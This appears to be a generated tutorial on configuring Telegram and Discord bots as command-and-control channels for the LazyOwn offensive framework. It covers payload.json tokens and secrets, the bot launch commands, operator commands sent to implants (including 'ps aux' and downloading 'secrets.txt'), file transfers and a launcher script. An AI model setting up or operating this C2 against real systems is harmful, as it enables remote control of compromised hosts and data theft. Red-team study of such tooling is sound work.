How to Configure Multi-Channel C2 Communication with Telegram and Discord in LazyOwn

LazyOwn enables multi-channel C2 communication by running independent Telegram and Discord bots that authenticate operators via a shared secret defined in payload.json, forwarding commands to the internal shell and implant C2 server through the Flask API.

The LazyOwn framework exposes its command-and-control interface through popular messenger platforms, allowing operators to issue commands, transfer files, and monitor implant sessions without direct network access to the C2 server. By configuring the central payload.json file and launching the respective bot scripts, you can establish redundant C2 channels that maintain session state, enforce rate limiting, and validate operator identity using a single shared secret.

Architecture of Multi-Channel C2 in LazyOwn

Core Components

The multi-channel C2 system relies on three primary components implemented across telegram_c2.py and discord_c2.py:

  • payload.json: The central configuration file read by every LazyOwn module. It stores telegram_token and discord_token for API authentication, boolean flags (enable_telegram_c2 and enable_discord_c2) to toggle bot activation, and the c2_pass shared secret used for operator authentication.
  • Config class: Loads the JSON payload and exposes values as attributes using config = Config(load_payload()) (lines 92‑93 in both bot files).
  • SecureSessionManager: Handles per‑user session state, enforcing lock‑out after MAX_FAILED_ATTEMPTS (3 failed logins) and rate limiting (RATE_LIMIT = 5 commands per minute) via methods check_lockout, check_rate_limit, create_session, and validate_session (lines 25‑78).

Both integrations use the same architecture but different messaging SDKs. Telegram uses python‑telegram‑bot with Application.builder().token(telegram_token).build() (line 80), while Discord uses discord.py with commands.Bot(command_prefix='!', intents=intents) (line 22).

Command and Control Flow

When an operator interacts with a bot, the system processes messages through a five-step pipeline:

  1. Authentication: The operator sends /start <secret> (Telegram) or !start <secret> (Discord). The bot validates the secret against c2_pass and creates a session stored in the user_games dictionary.
  2. Command Interception: Subsequent text messages are captured by exce_cmd (Telegram lines 16‑87, Discord lines 44‑88).
  3. C2 Forwarding: If the message starts with c2, the bot constructs an issue_command_to_c2 <client_id> <payload> string and relays it to the internal LazyOwnShell via shell.one_cmd.
  4. Implant Execution: The shell forwards commands to the main C2 server (lazyc2.py) via the Flask API endpoint https://{lhost}:{c2_port}/get_connected_clients.
  5. Response Retrieval: The bot reads the last row of the CSV log stored at sessions/<client_id>.log to provide history, output, OS, and PID information.

File transfers follow a similar path. For uploads, the handle_file function (Telegram lines 101‑126, Discord lines 12‑37) saves attachments to sessions/temp_telegram/ before invoking upload_c2 <client_id> <path>. Downloads use the download_c2 command to retrieve files from implants.

Step-by-Step Configuration Guide

Generate Bot API Tokens

Before editing configuration files, obtain the necessary tokens from each platform:

  • Telegram: Message BotFather, create a new bot, and copy the provided API token.
  • Discord: Create a new application in the Discord Developer Portal, add a Bot, and copy the token from the Bot settings page.

Configure payload.json

Edit the payload.json file located at the repository root to enable both channels and set the shared authentication secret:

{
    "telegram_token": "1234567890:ABCdefGHIjklMNOpqrSTUvwxyz",
    "discord_token": "MTAxMDk...",
    "enable_telegram_c2": true,
    "enable_discord_c2": true,
    "c2_pass": "SuperSecretPassword123",
    "lhost": "0.0.0.0",
    "c2_port": 8443
}

Both platforms use the same c2_pass value. The bots will auto‑exit if their respective enable_*_c2 flags are set to false.

Launch the Bot Processes

Start the bots from a Python virtual environment containing the required dependencies (python‑telegram‑bot, discord.py, requests):

python3 telegram_c2.py &
python3 discord_c2.py &

Each script checks the enable flags at import time (lines 92‑94). If enabled, the bots connect to their respective APIs and begin listening for operator commands. Both processes run independently from the main C2 server and only require network reachability to the Flask API endpoint.

Operator Interaction Workflow

Once bots are running, operators authenticate and issue commands using platform-specific prefixes:

Telegram Commands:


/start SuperSecretPassword123
/clients
c2 whoami

Discord Commands:


!start SuperSecretPassword123
!clients
!c2 ps aux
!download_c2 <client_id> secrets.txt

The !clients or /clients command queries the Flask API to display currently connected implants. Prefixing commands with c2 (or !c2 on Discord) routes them through the C2 server to specific implants, while unprefixed commands execute locally in the LazyOwn shell.

Automation Script for Multi-Channel Deployment

For operational efficiency, use a wrapper script to conditionally launch bots based on payload.json flags:


# start_c2_bots.py

import json
from pathlib import Path
import subprocess
import sys

payload_path = Path(__file__).parent / "payload.json"
with payload_path.open() as f:
    cfg = json.load(f)

if cfg.get("enable_telegram_c2"):
    print("[*] Starting Telegram C2 bot...")
    subprocess.Popen([sys.executable, "telegram_c2.py"])

if cfg.get("enable_discord_c2"):
    print("[*] Starting Discord C2 bot...")
    subprocess.Popen([sys.executable, "discord_c2.py"])

Executing python3 start_c2_bots.py launches only the enabled channels as separate background processes, simplifying multi-channel C2 deployment.

Summary

  • Centralized Configuration: All C2 settings reside in payload.json, including toggle flags, API tokens, and the shared operator secret (c2_pass).
  • Dual-Channel Architecture: telegram_c2.py and discord_c2.py implement identical session management and command forwarding logic using their respective SDKs.
  • Security Controls: The SecureSessionManager enforces 3-attempt lockouts and 5-command-per-minute rate limiting to prevent brute force and flooding.
  • Command Routing: Messages prefixed with c2 are forwarded to implants via the Flask API, while local commands execute in the LazyOwn shell.
  • File Operations: Uploads are staged in sessions/temp_telegram/ before transfer; downloads retrieve files directly from implant sessions logged in CSV format.

Frequently Asked Questions

How does LazyOwn authenticate operators on Telegram and Discord?

LazyOwn authenticates operators using a shared secret (c2_pass) defined in payload.json. When an operator sends /start <secret> (Telegram) or !start <secret> (Discord), the bot validates the input against the configured password using the SecureSessionManager class. Upon successful validation, the bot creates a session with a random game token stored in user_games, granting access for the duration of the session timeout.

Can I enable only one C2 channel and disable the other?

Yes. Each channel operates independently based on boolean flags in payload.json. Set enable_telegram_c2 to true and enable_discord_c2 to false (or vice versa) to activate only the desired channel. The bot scripts check these flags at startup (lines 92‑94 in both telegram_c2.py and discord_c2.py) and will idle if their respective flag is disabled.

What is the rate limiting policy for C2 commands?

The SecureSessionManager enforces a hard limit of 5 commands per minute per operator session, defined by the RATE_LIMIT constant. Additionally, operators are locked out after 3 failed authentication attempts (MAX_FAILED_ATTEMPTS). These protections are implemented in lines 25‑78 of both bot files to prevent brute force attacks and command flooding.

How does the bot handle file uploads to implants?

When an operator attaches a file to an upload command (/addcli or !addcli), the handle_file function (Telegram lines 101‑126, Discord lines 12‑37) saves the attachment to a temporary directory (sessions/temp_telegram/). The bot then invokes the upload_c2 <client_id> <path> shell command, which transfers the file to the target implant through the existing C2 channel. Downloads follow the reverse path using the download_c2 command.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →